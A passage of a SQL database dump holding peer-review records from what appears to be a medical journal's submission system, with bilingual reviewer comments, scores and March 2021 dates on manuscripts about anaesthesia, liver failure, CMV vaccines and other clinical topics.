cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\n-Referencias:\r\nLos autores escriben las referencias en diversos estilos. Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: British journal of anaesthesia. NLM Title Abbreviation: Br J Anaesth\r\n\r\nAnesthetic considerations in the patient with cervical Spine trauma\r\nIt was a pleasure to review this manuscript.\r\nI congratulate the authors.\r\nHowever, I suggest that the authors review the following comments:\r\n-General comments:\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Methods and Results.\r\n-Method:\r\nA clear section of the method used, and its limitations, is required when assessing the results or conclusions.\r\nThere are two different types of literature review research available: systematic review and non-systematic review or narrative review (update).\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\nIf it is a narrative review, the authors should clarify the limitations of this type of review.\r\n-References:\r\nAuthors write references in various styles. I advise authors to check the references and rewrite them using the Vancouver style.\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nFor example: British journal of anesthesia. NLM Title Abbreviation: Br J Anaesth','Consideraciones anestésicas en el paciente con trauma de la columna cervical\r\nFue un placer revisar este manuscrito.\r\nFelicito a los autores.\r\nSin embargo, sugiero que los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado, y sus limitaciones a la hora de valorar los resultados o conclusiones.\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión.\r\n-Referencias:\r\nLos autores escriben las referencias en diversos estilos. Aconsejo a los autores que revisen las referencias y las reescriban usando el estilo Vancouver.\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: British journal of anaesthesia. NLM Title Abbreviation: Br J Anaesth\r\n\r\nAnesthetic considerations in the patient with cervical Spine trauma\r\nIt was a pleasure to review this manuscript.\r\nI congratulate the authors.\r\nHowever, I suggest that the authors review the following comments:\r\n-General comments:\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Methods and Results.\r\n-Method:\r\nA clear section of the method used, and its limitations, is required when assessing the results or conclusions.\r\nThere are two different types of literature review research available: systematic review and non-systematic review or narrative review (update).\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\nIf it is a narrative review, the authors should clarify the limitations of this type of review.\r\n-References:\r\nAuthors write references in various styles. I advise authors to check the references and rewrite them using the Vancouver style.\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nFor example: British journal of anesthesia. NLM Title Abbreviation: Br J Anaesth','2021-03-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3335,15586,7279,NULL,'2','G','Y','Y','Y','Introduction\r\nPlease expand the information.\r\nCase report\r\nPlease state the tests undertaken to the case in a table/figure.\r\n','I have made some notes above.','2021-03-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3336,10684,7669,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2- ( DOI: 10.1111/tbj.14072) and ( https://doi.org/10.1111/iwj.13265) suggested studies for the references\r\n','','2021-03-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3339,15588,7279,NULL,'5','r','n','m','y','Naso cardiac reflex could occur even during  nasal procedure and clinicians should  should anticipate its occurrences.\r\nThe manuscript  is  a case report not a research .\r\n','Naso cardiac reflex could occur even during  nasal procedure and clinicians should  should anticipate its occurrences.\r\nThe manuscript  is  a case report not a research .\r\n','2021-03-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3347,15663,7520,NULL,'5','g','y','y','y','The article is fit for publication, research work is done very genuinely and results are good, there are few minor corrections and grammatical errors that will be handled by our editorial team.\r\n','Can Proceed further.','2021-03-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3348,12972,7520,NULL,'5','R','y','y','y','The review is done well, all the points are studied well and the explanation for them is good. ','Proceed ahead','2021-03-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3352,16782,7764,NULL,'2','R','D','M','N','Hi. Thanks for your study. The sample size is very small. Please describe the hospital (KAUH) title. Is the hospital title \"General Hospital\" or \"Referal for neurologic disorders\"?.\r\nToo many of your cases refuse to participate r did not respond to phone call; why?\r\nYour references should be renewed and redesigned. ','Hi. With this study we can not conclude anything. ','2021-03-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3356,11689,7662,NULL,'5','g','y','y','y','POEMS syndrome is a rare blood disorder that damages your nerves and affects other parts of your body. The cause of POEMS syndrome isn\'t known. But people with POEMS syndrome have an increased number of plasma cells. These cells produce an abnormal amount of a type of protein, which can damage other parts of the body. POEMS syndrome can be misdiagnosed because the signs and symptoms mimic those of other disorders. POEMS syndrome progresses rapidly without treatment and can become life-threatening, so early diagnosis is important.\r\nIn this study author present two patients successfully treated with auto-HSCT. The aim of this study was to present diagnostic challenges and focus on long-term follow-up of neuropathy symptoms and nerve function changes documented with nerve conduction studies (NCS).\r\nOverall, the manuscript is well written.\r\n','','2021-03-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3364,11589,7275,NULL,'4','G','Y','Y','Y','The article entitled \"The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Tertiary Care Center\" is a research article which explain the effect of hyperoxia on the neurological outcomes and survival of critically ill patients with moderate-severe TBI. And found that hyperoxia (PaO2 >100mmHg) was not associated with increased mortality or poor neurological outcomes (determined by GOS) in moderate-severe TBI patients. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','The article entitled \"The Effect of Hyperoxia in Traumatic Brain Injury Patients in the Intensive Care Unit of a Tertiary Care Center\" is a research article which explain the effect of hyperoxia on the neurological outcomes and survival of critically ill patients with moderate-severe TBI. And found that hyperoxia (PaO2 >100mmHg) was not associated with increased mortality or poor neurological outcomes (determined by GOS) in moderate-severe TBI patients. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.\r\n','2021-03-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3366,11689,7663,NULL,'5','g','y','y','y','Its a good article about Phytochemical Compounds of Medicinal Plants and their Mechanism Action.\r\nDiabetes mellitus is one of the common metabolic disorders. Since long back herbal medicines have been the highly esteemed source of medicine therefore, they have become a growing part of modern, high-tech medicine. \r\nThe review also discusses the management aspect of diabetes mellitus using these plants and their active principles. \r\nThis review article presents an update of the findings from clinical research into medicinal plant therapy for T2DM.\r\nOverall well written.\r\n','','2021-03-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3368,11689,7649,NULL,'5','g','y','y','y','It’s a good article about Paradoxical Stroke related to Asymmetrical Circle of Willis.\r\nThe main aim of this study was to represent a rare stroke development. In this study author well written important in the context of anatomical variants of the circle of Willis. \r\nThe impact of circle of Willis anatomical variation upon the presentation of stroke is probably underrecognised.\r\nThis case raises several important points highlighting the value of careful clinical assessment, and underlines the importance of early, detailed neurological evaluation. \r\nOverall well written.\r\n','','2021-03-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3399,11589,7420,NULL,'4','G','Y','Y','Y','The article entitled \"R2* relaxometry in sclerotic hippocampi of patients with temporal lobe epilepsy\" is a research article which explain the unilateral MRI abnormality, which is most frequently hippocampal sclerosis, predicts a more favorable seizure outcome. And found that R2* relaxometry might be an additional method to assess the lateralization of hippocampal pathologies in patients with HS-TLE. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"R2* relaxometry in sclerotic hippocampi of patients with temporal lobe epilepsy\" is a research article which explain the unilateral MRI abnormality, which is most frequently hippocampal sclerosis, predicts a more favorable seizure outcome. And found that R2* relaxometry might be an additional method to assess the lateralization of hippocampal pathologies in patients with HS-TLE. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3405,13225,7557,NULL,'4','G','Y','Y','Y','The article entitled \"Methodology and feasibility of neurofeedback to improve visual attention to letters in mild Alzheimer’s disease\" is a research article which explain the investigate feasibility of using a BCI system with neurofeedback as an intervention for people with mild Alzheimer’s disease. And found that the feasibility of this mode of intervention in participants with mild pAD. But this project required significant programming and signal processing expertise, the use of open-source software. With proper figures and tables the author explain it very nicely.\r\nI suggest a small change i.e. the formatting, reference arrangement, table & figure arrangement and grammar after that this article can publish.','The article entitled \"Methodology and feasibility of neurofeedback to improve visual attention to letters in mild Alzheimer’s disease\" is a research article which explain the investigate feasibility of using a BCI system with neurofeedback as an intervention for people with mild Alzheimer’s disease. And found that the feasibility of this mode of intervention in participants with mild pAD. But this project required significant programming and signal processing expertise, the use of open-source software. With proper figures and tables the author explain it very nicely.\r\nI suggest a small change i.e. the formatting, reference arrangement, table & figure arrangement and grammar after that this article can publish.','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3408,11689,7511,NULL,'6','g','y','y','y','It’s a good article about Multi-Epitope Vaccine against Human Cytomegalovirus.\r\nCytomegalovirus is a common herpes virus. Once infected, your body retains the virus for life. Most people don\'t know they have CMV because it rarely causes problems in healthy people. CMV spreads from person to person through body fluids, such as blood, saliva, urine, semen and breast milk. There is no cure, but there are medications that can help treat the symptoms.\r\nThe aim of this study was to express a multi-epitope vaccine upon CMV by employing an Immuno bioinformatics road. Tables and figures clearly structured. \r\nIn this study Author was able to formulate an effective vaccine against this cytomegalovirus infection. This manufactured can prevent imminent revolutions. Overall written and to be accepted for publication.\r\n','','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3409,11689,7511,NULL,'6','g','y','y','y','It’s a good article about Multi-Epitope Vaccine against Human Cytomegalovirus.\r\nCytomegalovirus is a common herpes virus. Once infected, your body retains the virus for life. Most people don\'t know they have CMV because it rarely causes problems in healthy people. CMV spreads from person to person through body fluids, such as blood, saliva, urine, semen and breast milk. There is no cure, but there are medications that can help treat the symptoms.\r\nThe aim of this study was to express a multi-epitope vaccine upon CMV by employing an Immuno bioinformatics road. Tables and figures clearly structured. \r\nIn this study Author was able to formulate an effective vaccine against this cytomegalovirus infection. This manufactured can prevent imminent revolutions. Overall written and to be accepted for publication.\r\n','','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3411,15663,7686,NULL,'5','g','y','y','y','Research is done perfectly. Explanations are justified and can go for publication.','Can publish in your journal.','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3412,13180,7686,NULL,'5','R','y','y','y','The review is done well, all the points are studied well and the explanation for them is good. ','can Proceed ahead','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3416,11689,7627,NULL,'6','g','y','y','y','Liver stiffness, which correlates well with liver fibrosis stage, can be measured noninvasively by transient elastography, also known as Fibroscan. The present study aimed to determine the independent factors influencing Fibroscan detection by multiple regression analysis. \r\nIn this study factors influencing Fibroscan detection were analyzed and Transient Elastography was found to be better in detecting liver stiffness than liver biopsy in clinically suspected cirrhosis and diagnosis and evaluation of liver fibrosis should comprehensively consider the results of Fibroscan, and clinical and laboratory examinations.\r\nOverall well written to be accepted for publication\r\n','','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3418,11689,7728,NULL,'6','g','y','y','y','It’s a good article about Ebola virus disease. \r\nEbola virus disease (EVD), formerly known as Ebola haemorrhagic fever, is a rare but severe, often fatal illness in humans. The virus is transmitted to people from wild animals and spreads in the human population through human-to-human transmission. \r\nThe aim of this review article was to focuses on the human rights violated in the battle of EVD and considers how these are similar, yet can be avoided in the management of COVID-19. \r\nOverall well written and strongly recommend to be accepted for publication\r\n','','2021-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3421,11689,7832,NULL,'6','g','y','y','y','The purpose of this study was to examine the differences in anthropometric characteristics and body composition of elite soccer athletes, according to playing position and function performed. \r\nIn this study author was hypothesize that the anthropometric characteristics and body composition of elite athletes differ according to the position of the performance, as well as the function performed.\r\nThis study provides useful information for help coaches and other soccer professionals in the planning and control of training and nutrition in elite Brazilian soccer athletes.\r\nOverall well written, strongly accepted to be published in this journal.\r\n','','2021-03-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3443,11689,7806,NULL,'6','g','y','y','y','It’s a good article about COVID. Since December 2019, the coronavirus (COVID19) outbreak has impacted everyone\'s daily lives globally, especially those experiencing mental health issues. \r\nThis Systematic Mapping Study aimed to comprehensively review the current literature about the impact of COVID-19 infection on the mental health in the general population.\r\nThe author has well described the role of risk and protective factors against the potential to develop psychiatric disorders in vulnerable individuals has been addressed as well. The main implications of the present findings have been discussed.\r\nOverall well written and strongly accepted for publication\r\n','','2021-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3444,11689,7806,NULL,'6','g','y','y','y','It’s a good article about COVID. Since December 2019, the coronavirus (COVID19) outbreak has impacted everyone\'s daily lives globally, especially those experiencing mental health issues. \r\nThis Systematic Mapping Study aimed to comprehensively review the current literature about the impact of COVID-19 infection on the mental health in the general population.\r\nThe author has well described the role of risk and protective factors against the potential to develop psychiatric disorders in vulnerable individuals has been addressed as well. The main implications of the present findings have been discussed.\r\nOverall well written and strongly accepted for publication\r\n','','2021-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3446,17074,7063,NULL,'5','r','y','y','y','It is well motivated and commenting manuscript on Anterior-posterior rhinoliquorhea can reveal several etiologies. It reports a case of a patient with rhinoliquorhea of the left nasal cavity post-traumatic whose radiological exploration returned in favor of an osteomeningeal breach and whose surgical exploration by endoscopic nasal route showed a meningocele of the anterior part from the base of the skull. The breach was sealed with organic glue and abdominal fat and organic glue.I should recommend it as a good article which will guide the medical research as well.\r\n\r\n','I recommend for publication','2021-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3452,12263,7257,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the review article  on \"Eco-friendly spectrophotometric analysis of the poorly water-soluble drug (satranidazole) using the mixed hydrotropic concept\". One of the main significant characteristics for fulfilling the desired pharmacological retort is solubility. Different strategies are available to prevent the usage of organic solvents to boost the aqueous solubility of insoluble and rarely soluble drugs. Hydrotropy is one of the best procedures accessible to solving problems of solubility in these technologies. One of the crucial complicated issues of maximum drugs is low solubility.  Several organic solvents are utilized in the estimation of drugs. High cost, volatility, and toxicity are the disadvantages of these organic solvents. It is helpful for further researches . So i think this Review article can be accepted for publication in your esteemed journal.\r\n','','2021-03-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3453,12264,6959,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the research article  on \"A NOVEL BIOANALYTICAL RP-HPLC METHOD DEVELOPMENT AND VALIDATION FOR SIMULTANEOUS DETERMINATION OF  AMLODIPINE BESYLATE ON HUMAN PLASMA\". The precision study revealed that the percentage cumulative variation was within acceptable limit and accuracy study showed the value of mean percent recovery between 101.61-102.20 %. The Amlodipine besylate was stable in human plasma at different storage conditions. The validation parameters of the method met the acceptance criteria. Sufficient stability of both LQC and HQC was shown to allow for completion of sample analysis in clinical trials. This research can be furtherly used, so i think this Research article can be accepted for publication in your esteemed journal.','','2021-03-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3455,11689,7763,NULL,'5','g','y','y','y','Its a unique short article, accepted for publication','','2021-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3459,17216,7700,NULL,'2','g','y','y','y','It is with great pleasure that I review the manuscript entitled “Multimodality Imaging Based Treatment Volume Definition for Re-Irradiation of Recurrent Small Cell Lung Cancer (SCLC)”. It is indeed an interesting outlook on Evaluation of Target Volume Determination for Single Session Stereotactic Radiosurgery (SRS) of Brain Metastases. The abstract looks good describing about the whole research work in a brief form. The manuscript is clearly written in sequential manner. Figures are clear with illustrative legends. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have minimally invasive preparations with maximal tissue conservation for the favourable long term prognosis in such cases.\r\nI liked the concept of using Utility of Magnetic Resonance Imaging (Imaging) in Target Volume Definition for Radiosurgery of Acoustic Neuromas.\r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3461,17412,7458,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the review article  on \"THE POTENT PLANT FOR TRADITIONAL MEDICINE SYSTEM - “ACHYRANTHES AASPERAâ”\". almost all of its parts are used in traditional systems of medicines, seeds, roots and shoots are the most important parts which are used medicinally.  Achyranthes aspera L. (Amaranthaceae) has long been used in different systems of medicine in the treatment of cancer, leprosy, asthma, wound, insect and snake bite, dandruff, hepatitis, renal disorders, dermatological disorders, gynecological disorders, gonorrhea, malaria, fever, cough, diabetes, pyorrhea, dysentery, opthalmia, rabies, hysteria, toothache etc. I felth this part is weel written, and it is helpful for further researches. So i think this Review article can be accepted for publication in your esteemed journal.','','2021-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3463,17412,7356,NULL,'5','g','n','y','y','It was pleasure being invited as a reviewer for the review article  on \"A POTENT PHARMACOLOGICAL PLANT FOR TRADITIONAL MEDICINE SYSTEM - “ACHYRANTHES AASPERAâ€. almost all of its parts are used in traditional systems of medicines, seeds, roots and shoots are the most important parts which are used medicinally.  Achyranthes aspera L. (Amaranthaceae) has long been used in different systems of medicine in the treatment of cancer, leprosy, asthma, wound, insect and snake bite, dandruff, hepatitis, renal disorders, dermatological disorders, gynecological disorders, gonorrhea, malaria, fever, cough, diabetes, pyorrhea, dysentery, opthalmia, rabies, hysteria, toothache etc. I felth this part is weel written, and it is helpful for further researches. So i think this Review article can be accepted for publication in your esteemed journal.','','2021-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3464,12022,7887,NULL,'3','D','N','Y','N','INSUFICIENCIA HEPÁTICA AGUDA:¿QUÉ HACER?\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo para ser un artículo de revista, y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados/Discusión y Conclusiones.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo, y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método.\"\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\nACUTE LIVER FAILURE: WHAT TO DO?\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors please review the following comments:\r\n-General comments:\r\nIn my opinion, the article is too long for a magazine article, and should be shortened.\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article, and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\nIs it a personal point of view?\r\nIs it based on an unsystematic or opportunistic search for information?\r\nIs it based on the author\'s experience?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','INSUFICIENCIA HEPÁTICA AGUDA:¿QUÉ HACER?\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo para ser un artículo de revista, y debería acortarse.\r\nEl texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Método, Resultados/Discusión y Conclusiones.\r\n-Método:\r\nEn mi opinión, los autores deben dejar claro qué método se utiliza en el artículo, y sus limitaciones a la hora de valorar las conclusiones.\r\nPor lo tanto, debería haber una sección de \"Método.\"\r\n¿Es un punto de vista personal?\r\n¿Se basa en una búsqueda de información no sistemática u oportunista?\r\n¿Se basa en la experiencia del autor?\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\nACUTE LIVER FAILURE: WHAT TO DO?\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors please review the following comments:\r\n-General comments:\r\nIn my opinion, the article is too long for a magazine article, and should be shortened.\r\nThe text must be written according to the format of a scientific article: Summary, Introduction, Method, Results / Discussion and Conclusions.\r\n-Method:\r\nIn my opinion, the authors should make it clear which method is used in the article, and its limitations when assessing the conclusions.\r\nTherefore, there should be a \"Method\" section.\r\nIs it a personal point of view?\r\nIs it based on an unsystematic or opportunistic search for information?\r\nIs it based on the author\'s experience?\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\n-References:\r\nJournal abbreviations should adhere to those of the US National Library of Medicine for Medline / PubMed (available at: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','2021-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3465,12022,7883,NULL,'3','r','n','n','n','Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno.\r\nRecientemente he revisado ya este manuscrito.\r\nNo veo que los autores indiquen los cambios realizados a la primera versión, ni que acompañen la versión actual con una carta explicando los cambios realizados.\r\nEn cualquier caso, mis comentarios anteriores sobre la Discusión siguen siendo válidos. Además, se deben corregir las abreviaturas de las Revistas en la sección de Referencias Bibliográficas.\r\nSugiero que los autores revisen los siguientes comentarios:\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\n\r\nI have recently revised this manuscript.\r\nI do not see that the authors indicate the changes made to the first version, nor that they accompany the current version with a letter explaining the changes made.\r\nIn any case, my previous comments on the Discussion are still valid. In addition, the abbreviations of the Journals in the Bibliographic References section must be corrected.\r\nI suggest that the authors review the following comments:\r\n-Discussion:\r\nIt should be understood as the presentation of an infrequent or rare case.\r\nI think the authors should mention more about how this case can help to understand a more important topic, or remember certain messages, or motivate the search for more information. This \"anecdotal\" post should be portrayed as an important teaching tool. The objective of the publication of clinical cases is basically educational; Authors must take into account the message they want to communicate and whether this knowledge will be of use to readers. Perhaps it can represent a description of a sentinel event; this can be a warning to alert in similar situations; and / or stimulate the generation of other studies.\r\n-References:\r\nThe abbreviations of journals should conform to those of the US National Library of Medicine for Medline / PubMed (available in: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals','Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno.\r\nRecientemente he revisado ya este manuscrito.\r\nNo veo que los autores indiquen los cambios realizados a la primera versión, ni que acompañen la versión actual con una carta explicando los cambios realizados.\r\nEn cualquier caso, mis comentarios anteriores sobre la Discusión siguen siendo válidos. Además, se deben corregir las abreviaturas de las Revistas en la sección de Referencias Bibliográficas.\r\nSugiero que los autores revisen los siguientes comentarios:\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nCreo que los autores deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Esta publicación \"anecdótica\" debe mostrarse como una importante herramienta de enseñanza. El objetivo de la publicación de casos clínicos es básicamente educativo; los autores deben tener en cuenta el mensaje que quieren comunicar y si este conocimiento será de utilidad para los lectores. Quizás pueda representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / 